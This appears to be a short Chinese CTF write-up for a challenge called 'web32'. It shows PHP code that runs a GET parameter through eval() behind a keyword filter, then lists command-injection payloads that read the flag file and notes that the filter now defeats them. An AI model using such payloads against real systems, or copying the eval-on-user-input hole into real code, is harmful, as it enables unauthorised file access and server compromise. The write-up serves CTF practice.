web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
echo的过滤导致又有一些方法不能用了
失效的姿势:
因为过滤了system和反引号,所以
?c=`tac fla?.php`;
?c=echo `tac fl''ag.php`;
?c=echo `nl fl?g.php`;查看源代码
?c=`cp fla?.php 1.txt`;
没法用了
因为过滤了左括号,所以,
嵌套eval逃逸函数
show_source(next(array_reverse(scandir(pos(localeconv())))));
没法用了